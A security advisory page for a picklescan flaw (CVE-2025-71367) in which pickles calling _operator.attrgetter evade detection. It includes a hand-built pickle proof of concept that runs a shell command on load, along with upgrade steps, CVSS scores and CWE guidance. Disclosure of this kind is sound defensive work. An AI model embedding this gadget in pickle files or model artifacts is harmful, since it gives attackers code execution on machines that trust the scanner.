GHSA-46h3-79wf-xr6c CVE-2025-71367

Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter

High PyPI

Severity: 0.0 / 10; High · CVSS 4.0
Exploit chance (EPSS): 0.56%; Chance of exploitation in the next 30 days. Higher than 46.91% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-502 Deserialization of Untrusted Data; CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix: 0.0.34; Upgrade picklescan to this version or later

Description

Summary

Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.
Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.

PoC

import pickle
import pickletools
opcode3 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
attrgetter
(Vsystem
tR(g0
tR(Vecho "pwned by _operator.attrgetter"
tR.'''
pickletools.dis(opcode3)
pickle.loads(opcode3)

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

Affected versions

PyPI

Package	Vulnerable	Fixed in
picklescan	`< 0.0.34`	`0.0.34`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

picklescan PyPI → `0.0.34`

pip

pip install --upgrade "picklescan>=0.0.34"

poetry

poetry add "picklescan>=0.0.34"

uv

uv add "picklescan>=0.0.34"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Attack vector: Network
Attack complexity: Low
Attack requirements: None
Privileges required: None
User interaction: None
Confidentiality (vulnerable system): High
Integrity (vulnerable system): High
Availability (vulnerable system): High
Confidentiality (subsequent systems): None
Integrity (subsequent systems): None
Availability (subsequent systems): None
Exploit maturity: Proof of concept

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: Required
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: None

Weakness

CWE-502: Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

How to prevent it

Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Implementation: Explicitly define a final object() to prevent deserialization.
Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it

Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Packages

github.com/mmaitre314/picklescan

Timeline

Dec 30, 2025 Published
Oct 12, 2026 Last updated by the source
Nov 1, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-g38g-8gr9-h9xp PickleScan has multiple stdlib modules with direct RCE not in blocklist	Critical	Also affects picklescan
GHSA-vvpj-8cmc-gx39 PickleScan's pkgutil.resolve_name has a universal blocklist bypass	Critical	Also affects picklescan
GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass	Critical	Also affects picklescan
GHSA-97f8-7cmv-76j2 Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER	High	Also affects picklescan
GHSA-m7j5-r2p5-c39r picklescan vulnerable to arbitrary file create using logging.FileHandler	Medium	Also affects picklescan
GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call	Critical	Also affects picklescan
GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO`	High	Also affects picklescan
GHSA-955r-x9j8-7rhh Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller	High	Also affects picklescan

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